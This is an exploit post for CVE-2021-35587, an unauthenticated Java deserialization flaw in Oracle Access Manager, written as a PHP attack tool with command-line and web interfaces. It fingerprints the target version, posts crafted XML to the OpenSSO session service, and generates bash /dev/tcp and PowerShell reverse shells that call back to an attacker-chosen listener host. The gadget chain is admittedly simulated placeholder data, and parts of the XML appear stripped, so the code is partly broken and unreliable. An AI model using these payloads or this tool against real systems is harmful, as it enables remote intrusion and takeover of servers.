============================================================================================================================================= | # Title : Oracle Access Manager 12.2.1.4.0 Java deserialization vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.oracle.com/ | ============================================================================================================================================= [+] Summary : https://packetstorm.news/files/id/190368/ & CVE-2021-35587 an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute arbitrary commands without authentication. The vulnerability exists in the session handling mechanism of the OpenSSO Agent, which improperly deserializes untrusted data from unauthenticated requests. [+] POC : php poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; } /** * Check if target is vulnerable to CVE-2021-35587 */ public function check() { echo "[*] Checking Oracle Access Manager vulnerability (CVE-2021-35587)...\n"; try { $version = $this->get_version(); if ($version) { echo "[*] Detected Oracle Access Manager version: {$version}\n"; $affected_versions = [ '11.1.2.3.0', '12.2.1.3.0', '12.2.1.4.0' ]; if (in_array($version, $affected_versions)) { echo "[+] ✓ Target appears to be vulnerable!\n"; return "vulnerable"; } else { echo "[-] ✗ Target is not vulnerable (version not affected)\n"; return "safe"; } } else { echo "[?] Target appears to be OAM but version could not be determined\n"; return "detected"; } } catch (Exception $e) { echo "[-] Check failed: " . $e->getMessage() . "\n"; return "unknown"; } } /** * Execute the exploit */ public function exploit($payload) { echo "[*] Starting Oracle Access Manager RCE exploit...\n"; try { // Get target version for appropriate gadget chain $version = $this->get_version(); echo "[*] Target version: {$version}\n"; // Generate exploit XML $xml_data = $this->generate_exploit_xml($version, $payload); // Send exploit request $response = $this->send_exploit_request($xml_data); if ($response && strpos($response, '200') !== false) { echo "[+] ✓ Exploit sent successfully\n"; return true; } else { echo "[-] ✗ Exploit failed - no response or unexpected status\n"; return false; } } catch (Exception $e) { echo "[-] Exploit failed: " . $e->getMessage() . "\n"; return false; } } /** * Get Oracle Access Manager version */ private function get_version() { $url = $this->build_url('/pages/impconsent.jsp'); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { throw new Exception("HTTP {$http_code} received"); } // Check for Oracle-specific headers if (strpos($response, 'Oracle Access Management Version:') === false) { throw new Exception("Not an Oracle Access Manager endpoint"); } // Extract version from response if (preg_match('/Oracle Access Management Version: (\d+\.\d+\.\d+\.\d+\.\d+)/', $response, $matches)) { return $matches[1]; } return null; } /** * Generate exploit XML with gadget chain */ private function generate_exploit_xml($version, $payload) { echo "[*] Generating exploit XML for version {$version}...\n"; // Get appropriate gadget chain $gadget = $this->get_gadget_chain($version, $payload); // Encode gadget $gadget_b64 = base64_encode($gadget); $requester_b64 = base64_encode("object:{$gadget_b64}"); // Generate random IDs $reqid = $this->random_string(rand(8, 32)); $session_id = $this->random_string(rand(8, 32)); $request_reqid = $this->random_string(rand(8, 32)); $vers = $this->random_string(rand(8, 32)); $dtdid = $this->random_string(rand(8, 32)); $sid = $this->random_string(rand(8, 32)); // Build XML $xml = '' . "\n"; $xml .= "\n"; $xml .= " \n"; $xml .= " \n"; $xml .= " {$session_id}\n"; $xml .= " \n"; $xml .= " ]]>\n"; $xml .= " \n"; $xml .= ""; echo "[*] Generated exploit XML\n"; return $xml; } /** * Get appropriate gadget chain for version */ private function get_gadget_chain($version, $payload) { $gadget_file = null; switch ($version) { case '12.2.1.4.0': $gadget_file = 'gadget_12.2.1.4.0.bin'; break; case '12.2.1.3.0': $gadget_file = 'gadget_12.2.1.3.0.bin'; break; default: throw new Exception("Unsupported version: {$version}"); } echo "[*] Using gadget chain: {$gadget_file}\n"; // In real scenario, load from file // For demo, create a simulated gadget $gadget = $this->create_simulated_gadget($payload); return $gadget; } /** * Create simulated gadget chain (for demonstration) */ private function create_simulated_gadget($payload) { // This simulates a Java deserialization gadget chain // In reality, this would be a complex serialized Java object $gadget = "aced0005737200"; // Java serialization magic header // Add command execution parameters $shell_name = $this->is_windows_target() ? 'cmd.exe' : '/bin/sh'; $shell_arg = $this->is_windows_target() ? '/C' : '-c'; // Simulate gadget structure with placeholders $gadget .= bin2hex(pack('n', strlen('EXEC_ARG0')) . 'EXEC_ARG0'); $gadget .= bin2hex(pack('n', strlen($shell_name)) . $shell_name); $gadget .= bin2hex(pack('n', strlen('EXEC_ARG1')) . 'EXEC_ARG1'); $gadget .= bin2hex(pack('n', strlen($shell_arg)) . $shell_arg); $gadget .= bin2hex(pack('n', strlen('EXEC_ARG2')) . 'EXEC_ARG2'); $gadget .= bin2hex(pack('n', strlen($payload)) . $payload); // Add more serialized data... $gadget .= "7372002a636f6d2e73756e2e726f7773657474"; // More simulated data return hex2bin($gadget); } /** * Send exploit request */ private function send_exploit_request($xml_data) { $url = $this->build_url('/server/opensso/sessionservice'); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $xml_data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Content-Type: text/xml', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ] ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] Sent exploit request, HTTP status: {$http_code}\n"; return $response; } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } /** * Check if target is Windows */ private function is_windows_target() { // This would be determined from target info // For demo, assume Linux/Unix return false; } /** * Generate random string */ private function random_string($length = 10) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str = ''; for ($i = 0; $i < $length; $i++) { $str .= $chars[rand(0, strlen($chars) - 1)]; } return $str; } /** * Generate payload based on target */ public function generate_payload($type = 'reverse_shell', $lhost = null, $lport = null) { if ($this->is_windows_target()) { return $this->generate_windows_payload($type, $lhost, $lport); } else { return $this->generate_linux_payload($type, $lhost, $lport); } } private function generate_linux_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': return "/bin/bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'"; case 'command': return 'id; whoami; uname -a'; default: return 'echo "Test command executed"'; } } private function generate_windows_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$s2=\$sb+'PS '+(pwd).Path+'> ';\$sb2=([text.encoding]::ASCII).GetBytes(\$s2);\$ns.Write(\$sb2,0,\$sb2.Length);\$ns.Flush()};\$tc.Close()\""; case 'command': return 'whoami & systeminfo'; default: return 'echo Test command executed'; } } } // Command line interface if (php_sapi_name() === 'cli') { echo " ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ Oracle Access Manager Deserialization Vulnerability PHP Implementation \n"; $options = getopt("t:p:s:u:c:P:L:H:", [ "target:", "port:", "ssl", "uri:", "check", "payload:", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 14100; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/oam/'; $check_only = isset($options['c']) || isset($options['check']); $payload_type = $options['P'] ?? $options['payload'] ?? 'command'; $lhost = $options['H'] ?? $options['lhost'] ?? '192.168.1.100'; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php oracle_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 14100)\n"; echo " -s, --ssl Use SSL (default: false)\n"; echo " -u, --uri Base URI path (default: /oam/)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -P, --payload Payload type: command, reverse_shell (default: command)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell\n"; echo "\nExamples:\n"; echo " php oracle_exploit.php -t 192.168.1.100 -c\n"; echo " php oracle_exploit.php -t oracle-server.com -p 1443 -s -P reverse_shell -H 10.0.0.5 -L 4444\n"; exit(1); } $exploit = new OracleAccessManagerExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { $payload = $exploit->generate_payload($payload_type, $lhost, $lport); echo "[*] Using payload: {$payload}\n"; if ($exploit->exploit($payload)) { echo "[+] Exploitation completed\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web interface if ($_POST['action'] == 'check' || $_POST['action'] == 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 14100; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/oam/'; $payload_type = $_POST['payload_type'] ?? 'command'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if ($target) { $exploit = new OracleAccessManagerExploit($target, $port, $ssl, $base_uri); ob_start(); if ($_POST['action'] == 'check') { $exploit->check(); } else { $payload = $exploit->generate_payload($payload_type, $lhost, $lport); echo "[*] Using payload: {$payload}\n"; $exploit->exploit($payload); } $output = ob_get_clean(); echo "
$output
"; } else { echo "
Target host is required
"; } } else { echo ' Oracle Access Manager RCE Exploit

Oracle Access Manager Unauthenticated RCE

CVE-2021-35587 - Deserialization Vulnerability

About CVE-2021-35587:

Vulnerability: Unauthenticated Java deserialization in OpenSSO Agent

Affected Versions: 11.1.2.3.0, 12.2.1.3.0, 12.2.1.4.0

Impact: Remote Code Execution without authentication

Port: Typically 14100 (HTTP) or 1443 (HTTPS)

'; } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================